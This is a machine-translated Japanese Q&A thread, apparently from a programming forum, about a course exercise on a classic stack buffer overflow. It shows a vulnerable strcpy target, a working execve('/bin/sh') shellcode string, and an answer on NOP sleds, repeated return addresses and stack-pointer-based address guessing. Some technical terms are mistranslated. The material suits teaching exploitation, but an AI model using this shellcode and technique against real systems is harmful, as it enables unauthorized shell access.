5

私は自分の計算機科学クラスの1つでこの問題を理解しようとしています。私はすべてのリソースを利用しましたが、まだ問題があります。誰かが洞察を提供してくれれば、私はそれを大いに感謝します。

この「ターゲット」があり、バッファオーバーフローエクスプロイトを使用してexecve( "/ bin / sh")を実行する必要があります。buf [128]のオーバーフローでは、安全でないコマンドstrcpyを実行すると、システムがリターンアドレスを見つけることを期待している場所にバッファに戻るポインタが表示されます。

target.c

int bar(char *arg, char *out)
{
 strcpy(out,arg);
 return 0;
}

int foo(char *argv[])
{
 char buf[128];
 bar(argv[1], buf);
}

int main(int argc, char *argv[])
{
 if (argc != 2)
 {
  fprintf(stderr, "target: argc != 2");
  exit(EXIT_FAILURE);
 }
 foo(argv);
 return 0;
}

explore.c

#include "shellcode.h"

#define TARGET "/tmp/target1"

int main(void)
{
  char *args[3];
  char *env[1];

  args[0] = TARGET; args[1] = "hi there"; args[2] = NULL;
  env[0] = NULL;

  if (0 > execve(TARGET, args, env))
    fprintf(stderr, "execve failed.\n");

  return 0;
}

shellcode.h

static char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

argv [1]を128バイト以上で埋める必要があることを理解しています。128バイトを超えるバイトはリターンアドレスであり、バッファ内で/ bin/shを実行するためにバッファを指す必要があります。これまでのところ正しいですか?誰かが次のステップを提供できますか?

助けてくれてありがとう。

4

1 に答える 1

5

さて、あなたはプログラムにあなたのシェルコードを実行させたいのです。すでにマシン形式になっているため、システムで実行する準備ができています。バッファに保存しました。したがって、質問は「システムが私のコードを実行することをどのように知っているのか」ということになるでしょう。より正確には、「システムは、次に実行されるコードを探す場所をどのようにして知るのでしょうか?」この場合の答えは、あなたが話している差出人住所です。

基本的に、あなたは正しい方向に進んでいます。コードを実行してみましたか?このタイプのエクスプロイトを実行するときに私が気づいたことの1つは、それが正確な科学ではないということです。場合によっては、メモリ内に予期しないものが他にもあるため、システムが予期する場所にリターンアドレスを正しく合わせるために、バッファに追加するバイト数を増やす必要があります。

私はセキュリティの専門家ではありませんが、役立つかもしれないいくつかのことをお話しすることができます。1つは、通常、「NOPスレッド」を含めることです。基本的には、プロセッサで「NOP」命令を実行する以外のことを行わない一連の0x90バイトです。もう1つのトリックは、バッファの最後でリターンアドレスを繰り返すことです。これにより、そのうちの1つでもスタック上のリターンアドレスが上書きされた場合でも、目的の場所に正常に戻ることができます。

したがって、バッファは次のようになります。

| NOP SLED | シェルコード| 繰り返しの差出人住所|

(注:これらは私の考えではありません。JonEricksonによるHacking:The Art of Exploitationから入手しました。これについて詳しく知りたい場合は、この本をお勧めします)。

アドレスを計算するには、次のようなものを使用できます。

unsigned long sp(void) 
{ __asm__("movl %esp, %eax");} // returns the address of the stack pointer

int main(int argc, char *argv[])
{
    int i, offset;
    long esp, ret, *addr_ptr;
    char* buffer;

    offset = 0;
    esp = sp();
    ret = esp - offset;
}

これで、ヒープ上にバッファを割り当てると仮定して、retは戻りたいリターンアドレスを保持します。

于 2010-10-05T04:14:58.560 に答える